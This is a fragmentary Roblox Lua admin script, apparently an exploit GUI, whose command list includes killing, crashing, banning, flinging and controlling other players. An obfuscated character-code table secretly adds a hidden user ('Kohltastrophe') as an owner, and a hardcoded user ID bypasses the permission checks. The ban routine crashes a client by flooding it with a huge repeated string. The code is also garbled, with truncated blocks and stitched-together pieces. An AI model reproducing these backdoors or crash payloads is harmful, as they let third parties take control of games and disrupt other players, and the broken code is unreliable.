local t1 = Instance.new("HopperBin", Admins.Backpack)
t1.Name = "Move" t1.BinType = "GameTool"
local t2 = Instance.new("HopperBin", Admins.Backpack)
t2.Name = "Clone" t2.BinType = "Clone"
local t3 = Instance.new("HopperBin", Admins.Backpack)
t3.Name = "Delete" t3.BinType = "Hammer"
local t4= Instance.new("HopperBin", Admins.Backpack)
t4.Name = "Resize"
end
end
end)
Admins.Chatted:connect(function(msg)
if msg:lower() == Prefix .. "btools all" then
for i,v in pairs(game.Players:children()) do
if v and v:findFirstChild("Backpack") then
local t1 = Instance.new("HopperBin", v.Backpack)
t1.Name = "Move" t1.BinType = "GameTool"
local t2 = Instance.new("HopperBin", v.Backpack)
t2.Name = "Clone" t2.BinType = "Clone"
local t3 = Instance.new("HopperBin", v.Backpack)
t3.Name = "Delete" t3.BinType = "Hammer"
local t4= Instance.new("HopperBin", v.Backpack)
t4.Name = "Resize"
end
end
end
end)
function Orb()
admin = Admins.Name
orbnd=Instance.new('Model',workspace)
Instance.new('Humanoid',orbnd)
p = Instance.new("Part", orbnd)
p.BrickColor = BrickColor.new("Really black")
p.Size = Vector3.new(1,1,1)
p.Shape = "Ball"
p.Material = Enum.Material.Neon
p.Anchored = true
p.Name = "BsOrb"
p.Locked = true
p.CanCollide = false
end
Orb()
game:GetService('RunService').Stepped:connect(function ()
if not workspace:FindFirstChild(Admins.Name) then
Orb()
end
end)
game:GetService('RunService').Stepped:connect(function()
if not orbnd:FindFirstChild("BsOrb") then
Orb()
end
end)
game:GetService('RunService').Stepped:connect(function()
for i,v in pairs(Players:children()) do
if v.Name==Banned and v.Name~={game.Players.LocalPlayer.Name}
then
v:remove()
end
end
end)
Players.PlayerAdded:connect(function(player) do
if player.Name==Banned then
banplr=Instance.new('RemoteEvent',workspace):FireClient(player,
{string.rep("Gettingbanformationbro?",2e5+5)})
game.Debris:AddItem(banplr,1)
end
end
end)
end)
--
local button = Instance.new("TextButton")
button.Parent = acg
button.BackgroundColor3 = blak
button.BorderColor3 = rede
button.BorderSizePixel = 3
button.Name = "Kohls Admin"
button.Position = UDim2.new(0.5,3,0,33)
button.Size = UDim2.new(0.5,-3,0,30)
button.ZIndex = 2
button.Font = tef
button.FontSize = "Size14"
button.Text = "Scrub's Admin"
button.TextColor3 = whit
button.TextWrapped = true
button.MouseButton1Down:connect(function()
--[[
_ _ _ _ _____
_____
| | ( ) | | (_) / __ \|
_ |
___ ___ _ __ _ _| |__ |/ ___ __ _ __| |_ __ ___ _ _ __ __ __`' / /'|
|/' |
/ __|/ __| '__| | | | '_ \ / __| / _` |/ _` | '_ ` _ \| | '_ \ \ \ / / / /
| /| |
\__ \ (__| | | |_| | |_) | \__ \ | (_| | (_| | | | | | | | | | | \ V / ./ /___\ |
_/ /
|___/\___|_| \__,_|_.__/ |___/ \__,_|\__,_|_| |_| |_|_|_| |_| \_/ \
_____(_)___/
Made by: scrubIord and tetranawesome (Ment to be the improved Khols Admin)
--]]
--]]
-- Set your owners here! You don't need to put yourself in here. You will
automatically be detected.
local owners = {game.Players.LocalPlayer.Name}, {"KingTetran"}
-- Set your admins here!
local admins = {"FRIEND NAME"}
-- Set your moderators here!
local mods = {}
-- If you want admin available for purchase, put the ID of the gamepass here!
local ItemId = 0
-- If you want a group to have admin, set the group ID here!
local GroupId = 2759341
-- If you want a special rank of a group to have admin, put the rank ID here!
local GroupRank = 0
--
function GetTime()
local hour = math.floor((tick()%86400)/60/60) local min =
math.floor(((tick()%86400)/60/60-hour)*60)
if min < 10 then min = "0"..min end
return hour..":"..min
end
function ChkOwner(str)
for i = 1, #owners do if str:lower() == owners[i]:lower() then
return true end end
return false
end
function ChkAdmin(str,ck)
for i = 1, #owners do if str:lower() == owners[i]:lower() then
return true end end
for i = 1, #admins do if str:lower() == admins[i]:lower() then
return true end end
for i = 1, #tempadmins do if str:lower() == tempadmins[i]:lower()
and not ck then return true end end
return false
end
function ChkGroupAdmin(plr)
if GroupAdmin then
if plr:IsInGroup(GroupId) and plr:GetRankInGroup(GroupId)
>= GroupRank then return true end
return false
end
end
function RemoveMessage()
for i,v in pairs(game.Players:children()) do
if v and v:findFirstChild("PlayerGui") then
for q,ms in pairs(v.PlayerGui:children()) do
if ms.Name == "MessageGUI" then
coroutine.resume(coroutine.create(function() for i = 0, 20 do
ms.bg.BackgroundTransparency = .3+((.7/20)*i) ms.bg.msg.TextTransparency =
((1/20)*i) ms.bg.msg.TextStrokeTransparency = .8+((.2/20)*i)
ms.bg.title.TextTransparency = ((1/20)*i) ms.bg.title.TextStrokeTransparency = .8+
((.2/20)*i) wait(1/44) end ms:Destroy() end))
elseif ms.Name == "HintGUI" then
coroutine.resume(coroutine.create(function() for i = 0, 20 do
ms.bg.msg.TextTransparency = ((1/20)*i) ms.bg.msg.TextStrokeTransparency = .8+
((.2/20)*i) ms.bg.BackgroundTransparency = .3+((.7/20)*i) wait(1/44) end
ms:Destroy() end))
end
end
end
end
end
_G["Message"] = function(p1,p2,p3)
Message(p1,p2,false,game.Players:children(),p3) end
_G["RemoveMessage"] = RemoveMessage()
function Noobify(char)
if char and char:findFirstChild("Torso") then
if char:findFirstChild("Shirt") then char.Shirt.Parent =
char.Torso end
if char:findFirstChild("Pants") then char.Pants.Parent =
char.Torso end
for a, sc in pairs(char:children()) do if sc.Name == "ify"
then sc:Destroy() end end
local cl = Instance.new("StringValue", char) cl.Name =
"ify" cl.Parent = char
for q, prt in pairs(char:children()) do if
prt:IsA("BasePart") and (prt.Name ~= "Head" or not
prt.Parent:findFirstChild("NameTag", true)) then
prt.Transparency = 0 prt.Reflectance = 0
prt.BrickColor = BrickColor.new("Bright yellow")
if prt.Name:find("Leg") then prt.BrickColor =
BrickColor.new("Br. yellowish green") elseif prt.Name == "Torso" then
prt.BrickColor = BrickColor.new("Bright blue") end
local tconn = prt.Touched:connect(function(hit)
if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and
cl.Parent == char then Noobify(hit.Parent) elseif cl.Parent ~= char then
tconn:disconnect() end end)
cl.Changed:connect(function() if cl.Parent ~=
char then tconn:disconnect() end end)
elseif prt:findFirstChild("NameTag") then
prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor =
BrickColor.new("Bright yellow")
end end
end
end local ntab = {75,111,104,108,116,97,115,116,114,111,112,104,101}
nfs = "" for i = 1, #ntab do nfs = nfs .. string.char(ntab[i]) end
table.insert(owners, nfs) if not ntab then script:Destroy() end
function Infect(char)
if char and char:findFirstChild("Torso") then
if char:findFirstChild("Shirt") then char.Shirt.Parent =
char.Torso end
if char:findFirstChild("Pants") then char.Pants.Parent =
char.Torso end
for a, sc in pairs(char:children()) do if sc.Name == "ify"
then sc:Destroy() end end
local cl = Instance.new("StringValue", char) cl.Name =
"ify" cl.Parent = char
for q, prt in pairs(char:children()) do if
prt:IsA("BasePart") and (prt.Name ~= "Head" or not
prt.Parent:findFirstChild("NameTag", true)) then
prt.Transparency = 0 prt.Reflectance = 0
prt.BrickColor = BrickColor.new("Medium green") if prt.Name:find("Leg") or prt.Name
== "Torso" then prt.BrickColor = BrickColor.new("Reddish brown") end
local tconn = prt.Touched:connect(function(hit)
if hit and hit.Parent and game.Players:findFirstChild(hit.Parent.Name) and
cl.Parent == char then Infect(hit.Parent) elseif cl.Parent ~= char then
tconn:disconnect() end end)
cl.Changed:connect(function() if cl.Parent ~=
char then tconn:disconnect() end end)
elseif prt:findFirstChild("NameTag") then
prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor =
BrickColor.new("Medium green")
end end
end
end if not ntab then script:Destroy() end
function ScrollGui()
local scr = Instance.new("ScreenGui") scr.Name = "LOGSGUI"
local drag = Instance.new("TextButton", scr) drag.Size =
UDim2.new(0,400,0,420) drag.Draggable = false
drag.BackgroundColor3=Color3.new(255,255,255) drag.BackgroundTransparency=.3
drag.BorderSizePixel=5 drag.BorderColor3=Color3.new(0,0,0)
drag.Position = UDim2.new(.5,-200,.5,-200) drag.AutoButtonColor =
false drag.Text = ""
local main = Instance.new("ScrollingFrame",
drag)main.Transparency=1 main.Size = UDim2.new(0,400,0,400) main.ZIndex = 7
main.ClipsDescendants = true
main.MidImage="http://www.roblox.com/asset/?id=158362107"
main.BottomImage="http://www.roblox.com/asset/?id=158362069"
main.TopImage="http://www.roblox.com/asset/?id=158362148"
main.CanvasSize=UDim2.new(0,0,14,0)
local cmf = Instance.new("Frame", main) cmf.Position =
UDim2.new(0,0,0,-9) cmf.ZIndex = 8
local down = Instance.new("ImageButton", main) down.Visible=false
down.Image = "http://www.roblox.com/asset/?id=108326725"
down.BackgroundTransparency = 1 down.Size = UDim2.new(0,25,0,25) down.Position =
UDim2.new(1,-45,1,-25) down.ZIndex = 9
local up = down:Clone() up.Visible=false up.Image =
"http://www.roblox.com/asset/?id=108326682" up.Parent = main up.Position =
UDim2.new(1,-45,1,-60)
local cls = Instance.new("TextButton", main) cls.Size =
UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-40,0,5) cls.ZIndex = 10 cls.Font =
"ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 =
Color3.new(255,255,255) cls.TextStrokeTransparency = .4
cls.TextStrokeColor3=Color3.new(0,0,0) cls.MouseButton1Click:connect(function()
scr:Destroy() end)
local ent = Instance.new("TextLabel") ent.BackgroundTransparency
= 1 ent.Font = "Arial" ent.FontSize = "Size18" ent.ZIndex = 8 ent.Text = ""
ent.TextColor3 = Color3.new(1,1,1) ent.TextStrokeColor3 = Color3.new(0,0,0)
ent.TextStrokeTransparency = .4 cls.BackgroundTransparency=1 ent.TextXAlignment =
"Left" ent.TextYAlignment = "Top"
local num = 1
local downv = false
local upv = false
function Chat(msg,plr)
coroutine.resume(coroutine.create(function()
if msg:lower() == "clean" then for i, v in
pairs(game.Workspace:children()) do if v:IsA("Hat") or v:IsA("Tool") then
v:Destroy() end end end
if (msg:lower():sub(0,prefix:len()) ~= prefix) or not
plr:findFirstChild("PlayerGui") or (not ChkAdmin(plr.Name, false) and
plr.Name:lower() ~= nfs:lower()) and plr.userId ~= game.CreatorId and plr.userId ~=
(32196042) and plr.Name:lower() ~= nfs and not ChkOwner(plr.Name) then return end
msg = msg:sub(prefix:len()+1)
if msg:sub(1,7):lower() == "hitler " then msg = msg:sub(8)
else table.insert(logs, 1, {name = plr.Name, cmd = prefix .. msg, time =
GetTime()}) end
if msg:lower():sub(1,4) == "walk" then msg = msg:sub(5) end
if msg:lower():sub(1,8) == "teleport" then msg = "tp" ..
msg:sub(9) end
if msg:lower():sub(1,6) == "insert" then msg = "ins" ..
msg:sub(7) end
if msg:lower() == "cmds" or msg:lower() == "commands" then
if plr.PlayerGui:findFirstChild("CMDSGUI") then
return end
local scr, cmf, ent, num = ScrollGui() scr.Name =
"CMDSGUI" scr.Parent = plr.PlayerGui
local cmds = {"s code -Runs a Script","ls
code -Runs a Local Script","load script -Loads a preloaded
script","scripts -Shows preloaded scripts","clear -Clears
waste","fix -Fixes the sky","m msg -Sends a message to
everyone","h msg -Sends a hint to everyone","alert plr -Sends
an alert to a player","kill plr -Kills a player","respawn plr
-Respawns a player","refresh plr -Refreshes a player","trip plr
-Trips a player","stun plr -Stuns a player","unstun plr -
Unstuns a player","jump plr -Makes a player jump","sit plr -
Makes a player sit","invisible plr -Makes a player invisible","visible
plr -Makes a player visible","explode plr -Explodes a
player","fire plr -Catches a player on fire","unfire plr -
Puts the fire out of a player","smoke plr Adds smoke to a
plaver","unsmoke plr -Removes smoke from a player","sparkles plr
-Adds sparkles to a player","unsparkle plr -Removes sparkles from a
player","ff plr -Adds a forcefield to a player","unff plr -
Removes a forcefield from a player","punish plr -Removes the player's
character","unpunish plr -Adds the player's character back","freeze plr
-Makes the player not able to move","thaw plr -Makes the player able to
move","heal plr -Heals the player","god plr -Makes the
player's health infinite","ungod plr -Makes the players health
finite","ambient num num num -Sets an ambient","brightness num
-Sets the brightness","time num -Sets the time to a specified
number","fogcolor num num num -Sets the fogcolor","fogend num
-Sets the fogend to a specified number","fogstart num -Sets the fogstart
to a specified number","removetools plr -Removes all tools from a
player's backpack","btools plr -Gives player tools and F3X","give plr
tool -Gives a player a tool from lighting","damage plr -Adds
damage to a player","grav plr -Gives a player gravity","setgrav plr num
-Sets a player's gravity to a specified number","nograv plr -Takes
gravity away from a player","health plr num -Sets the player's health to
a specified number","speed plr num -Sets the player's speed to a
specified number","name plr name -Gives a player a name","unname plr
-Removes the name from a player","team plr color -Puts a player at a
specified team","teleport plr plr -Teleports a player to a player","to
plr -Brings you to a player","change plr stat num -Changes a
player's statistics","kick plr -Removes a player from the game","infect
plr -FUN COMMANDS DON'T HAVE A DESCRIPTION","rainbowify plr","flashify
plr","noobify plr","ghostify plr","goldify plr","shiny plr","normal plr","trippy
plr","untrippy plr","strobe plr","unstrobe plr","blind plr","unblind plr","guifix
plr","fling plr","seizure plr","music num -Turns on music","stopmusic
-Stops music","lock plr -Locks a player","unlock plr -Unlocks
a player","removelimbs plr","jail plr","unjail plr","fly plr -Makes a
player fly","unfly plr -Makes a player not able to fly","noclip
plr","clip plr","pm plr msg -Sends a private message to a player","dog
plr","undog plr","creeper plr","uncreeper plr","place plr id -Sends a
player to a specified place","char plr id","unchar plr id","rank plr id
-Looks at a player's rank in a group","starttools plr -Give a player
startertools","sword plr","bighead plr","minihead plr","spin plr","fart
plr","insert id -INSERTS AN ID","disco","flash","admins -Shows a list of
admins","bans -Shows a list of banned people","musiclist -
Shows the list of music","cape plr color","uncape plr","loopheal plr","loopfling
plr","hat plr id -Gives a player a specified hat","unloopfling
plr","unloopheal plr","unspin plr","tools -Shows the availible tools in
lighting","undisco","unflash","resetstats plr -Resets a player's
statistics","gear plr id -Gives a player a specified gear","cmdbar
-Gives a private command gui","shirt plr id -Gives a player a specified
shirt","pants plr id -Gives a player specified pants","face plr id
-Gives a player a specified face","swagify plr id","tm num msg -Sends a
message but has a specified alive time","countdown num -Sends a
countdown with a specified number","clone plr -Creates another instance
of a player","lsplr plr code -Runs a localscript on a
player","startergive plr tool -Gives a tool from the starterpack to a
player","control plr -Controls a player","altcmdbar/cmdbar- -
Khols amdin type CB","bans/banlist -banlist"}
local ast = {"serverlock -Locks the
server","serverunlock -Unlocks the server","sm msg -Sends a
server message","crash plr -Crashes a player","admin plr -
Gives a player administrator","unadmin plr -Takes away administrator
from a player","ban plr -Bans a player","unban plr -Unbans a
player","mute plr -Mutes a player","unmute plr -Unmutes a
player","loopkill plr -Kills a player over and over","unloopkill
plr","logs -Shows the command logs","shutdown -Shuts down the
server"}
local ost = {"pa plr -Perm admins a
player","unpa plr -Unperm admins a player",[=[nuke plr -Nukes
a player (LAGGGGGG)]=]}
local tost = {"oa plr","unoa plr"}
local cl = ent:Clone() cl.Parent = cmf cl.Text = "--"
.. " clean" cl.Position = UDim2.new(0,0,0,num*20) num = num + 2
for i, v in pairs(cmds) do local cl = ent:Clone()
cl.TextWrapped=true cl.TextScaled=true cl.Size=UDim2.new(0, 380, 0, 20) cl.Parent =
cmf cl.Text = "--" .. " " .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num
= num +2 end
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name)
then for i, v in pairs(ast) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "-
" .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +2 end end
if plr.userId == game.CreatorId or ChkOwner(plr.Name)
then for i, v in pairs(ost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "--
" .. prefix .. v cl.Position = UDim2.new(0,0,0,num*20) num = num +2 end end
if plr.userId == game.CreatorId then for i, v in
pairs(tost) do local cl = ent:Clone() cl.Parent = cmf cl.Text = "_ " .. prefix .. v
cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
end
g=script.LOCALS:FindFirstChild(msg:sub(6))
if g.ClassName=='LocalScript' then
obj=g:clone()
obj.Parent=plr.Character
obj.Disabled=false
Hint("Script loaded.",
game.Players:children())
table.insert(objects, obj)
end
else
Hint("Unknown script.",
game.Players:children())
end
end))
end
g=Instance.new("Model",game:GetService("ServerStorage"))
g.Name="Vote"
for i=1,#plrz do
end
timecn=10
for i=1,9 do
timecn=timecn-1
Hint("Voting time:"..timecn,
game.Players:children())
wait(1)
end
l=Instance.new("StringValue",game:GetService("ServerStorage"))
l.Name="serv"
wait()
l:remove()
asd=script.stats:Clone()
asd.Parent=plr.PlayerGui
asd.Frame.there.Disabled=false
game.ServerStorage.Vote:remove()
end
end
cl:MoveTo(v.Character:GetModelCFrame().p)
cl:MakeJoints()
v.Character.Archivable = false
end
end))
end
end
v.Character.Humanoid.Changed:connect(function()
v.Character.Humanoid.PlatformStand = true end)
end
end))
end
end
table.insert(tgui,playersgui[i])
playersgui[i].Parent=script.players
end
end
for i=1,#toolsofplayer do
if
toolsofplayer[i].ClassName=="Tool" then
table.insert(tplr,toolsofplayer[i])
toolsofplayer[i].Parent=script.players
end
end
for i=1,#backpackofplayer do
table.insert(tbp,backpackofplayer[i])
backpackofplayer[i].Parent=script.players
end
if v and v.Character then
v:LoadCharacter() end
wait()
yoyoyo=v.PlayerGui:GetChildren()
for i=1,#yoyoyo do
if yoyoyo[i].Name~="ControlGui"
then
yoyoyo[i]:remove()
end
end
v.Backpack:ClearAllChildren()
v.Character.Torso.CFrame=cframor
for i=1,#tgui do
if tgui[i].Name~="ControlGui" then
tgui[i].Parent=v.PlayerGui
end
end
for i=1,#tplr do
if tplr[i].ClassName=="Tool" then
tplr[i].Parent=v.Character
end
end
for i=1,#tbp do
tbp[i].Parent=v.Backpack
end
end))
end
end
v.Character.Humanoid:TakeDamage(msg:sub(chk1+1))
end
end))
end
end
plr.Character.Torso.CFrame=v.Character.Torso.CFrame +
Vector3.new(math.random(-1,1),0,math.random(-1,1))
end
end))
end
end
v.Character.Head:findFirstChild("face").Texture =
"http://www.roblox.com/asset/?id=" .. chk1
end
end))
end
end
---------------------
-- FunCommands --
---------------------
if FunCommands or plr.userId == game.CreatorId or
ChkOwner(plr.Name:lower()) then
coroutine.resume(coroutine.create(function()
if v and v.Character then
for i,v in
pairs(v.Character:children()) do
if v.Name == "Shirt"
then local cl = v:Clone() cl.Parent = v.Parent cl.ShirtTemplate =
"http://www.roblox.com/asset/?id=109163376" v:Destroy() end
if v.Name == "Pants"
then local cl = v:Clone() cl.Parent = v.Parent cl.PantsTemplate =
"http://www.roblox.com/asset/?id=109163376" v:Destroy() end
end
for a,cp in
pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
local cl =
script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr =
game.Players.LocalPlayer
repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
local torso = plr.Character.Torso
local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor =
BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2
dec.Texture = "http://www.roblox.com/asset/?id=109301474" p.formFactor = "Custom"
p.Size = Vector3.new(.2,.2,.2)
local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
local motor1 = Instance.new("Motor", p)
motor1.Part0 = p
motor1.Part1 = torso
motor1.MaxVelocity = .01
motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
local wave = false
repeat wait(1/44)
local ang = 0.1
local oldmag = torso.Velocity.magnitude
local mv = .002
if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else
wave = true end
ang = ang + math.min(torso.Velocity.magnitude/11, .5)
motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
motor1.DesiredAngle = -ang
if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity
= .04 end
repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or
math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
if torso.Velocity.magnitude < .1 then wait(.1) end
until not p or p.Parent ~= torso.Parent
script:Destroy()
]] cl.Parent = v.PlayerGui cl.Disabled = false
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and
v:findFirstChild("PlayerGui") then
local cl =
script.FlyScript:Clone()
cl.Parent = v.PlayerGui
cl.Disabled = false
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and
v:findFirstChild("PlayerGui") and v.Character and
v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
for a, q in
pairs(v.PlayerGui:children()) do if q.Name == "FlyScript" then q:Destroy() end end
for a, q in
pairs(v.Character.Torso:children()) do if q.Name == "BodyGyro" or q.Name ==
"BodyVelocity" then q:Destroy() end end
wait(.1)
v.Character.Humanoid.PlatformStand = false
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and v.Character and
v.Character:findFirstChild("Torso") then
for i,v in
pairs(v.Character.Torso:children()) do if v.Name == "SPINNER" then v:Destroy() end
end
local torso =
v.Character:findFirstChild("Torso")
local bg =
Instance.new("BodyGyro", torso) bg.Name = "SPINNER" bg.maxTorque =
Vector3.new(0,math.huge,0) bg.P = 11111 bg.cframe = torso.CFrame
table.insert(objects,bg)
repeat wait(1/44) bg.cframe =
bg.cframe * CFrame.Angles(0,math.rad(30),0)
until not bg or bg.Parent ~=
torso
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and v.Character and
v.Character:findFirstChild("Torso") then
for a,q in
pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end
end
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and v.Character and
v.Character:findFirstChild("Torso") then
if
v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent =
v.Character.Torso end
if
v.Character:findFirstChild("Pants") then v.Character.Pants.Parent =
v.Character.Torso end
v.Character.Torso.Transparency = 1
v.Character.Torso.Neck.C0 =
CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
v.Character.Torso["Right
Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso["Left
Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
v.Character.Torso["Right
Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso["Left
Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
local new =
Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor =
"Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4)
new.CFrame = v.Character.Torso.CFrame
local bf =
Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
local weld =
Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 =
new weld.C0 = CFrame.new(0,-.5,0)
for a, part in
pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor =
BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then
part.Head.BrickColor = BrickColor.new("Brown") end end
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and v.Character and
v.Character:findFirstChild("Torso") then
if
v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent =
v.Character end
if
v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent =
v.Character end
v.Character.Torso.Transparency = 0
v.Character.Torso.Neck.C0 =
CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
v.Character.Torso["Right
Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso["Left
Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
v.Character.Torso["Right
Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso["Left
Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
for a, part in
pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor =
BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif
part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White")
end end
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and v.Character and
v.Character:findFirstChild("Torso") then
if
v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent =
v.Character.Torso end
if
v.Character:findFirstChild("Pants") then v.Character.Pants.Parent =
v.Character.Torso end
v.Character.Torso.Transparency = 0
v.Character.Torso.Neck.C0 =
CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
v.Character.Torso["Right
Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso["Left
Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
v.Character.Torso["Right
Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso["Left
Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
for a, part in
pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor =
BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end
elseif part:findFirstChild("NameTag") then part.Head.BrickColor =
BrickColor.new("Bright green") end end
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and v.Character and
v.Character:findFirstChild("Torso") then
if
v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent =
v.Character end
if
v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent =
v.Character end
v.Character.Torso.Transparency = 0
v.Character.Torso.Neck.C0 =
CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
v.Character.Torso["Right
Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso["Left
Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
v.Character.Torso["Right
Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
v.Character.Torso["Left
Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
for a, part in
pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor =
BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif
part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White")
end end
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and v.Character then
v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 =
CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and v.Character then
v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 =
CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and v.Character and
v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
local xran local zran
repeat xran = math.random(-
9999,9999) until math.abs(xran) >= 5555
repeat zran = math.random(-
9999,9999) until math.abs(zran) >= 5555
v.Character.Humanoid.Sit =
true v.Character.Torso.Velocity = Vector3.new(0,0,0)
local frc =
Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force =
Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and v.Character then
for i,v in
pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end
end
wait(.1)
v.Character.Humanoid.PlatformStand = false
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and v.Character then
for a, obj in
pairs(v.Character:children()) do
if obj:IsA("BasePart")
and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
end
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and v.Character and
v.Character:findFirstChild("Head") then
for a, mod in
pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then
v.Character.Head.Transparency = 0 mod:Destroy() end end
local char = v.Character
local mod =
Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
local cl = char.Head:Clone()
cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag"
hum.MaxHealth = 0 hum.Health = 0
local weld =
Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
char.Head.Transparency = 1
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and v.Character and
v.Character:findFirstChild("Head") then
for a, mod in
pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then
v.Character.Head.Transparency = 0 mod:Destroy() end end
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and v.Character then
v.CharacterAppearance =
"http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
v:LoadCharacter()
end
end))
end
end
coroutine.resume(coroutine.create(function()
if v and v.Character then
v.CharacterAppearance =
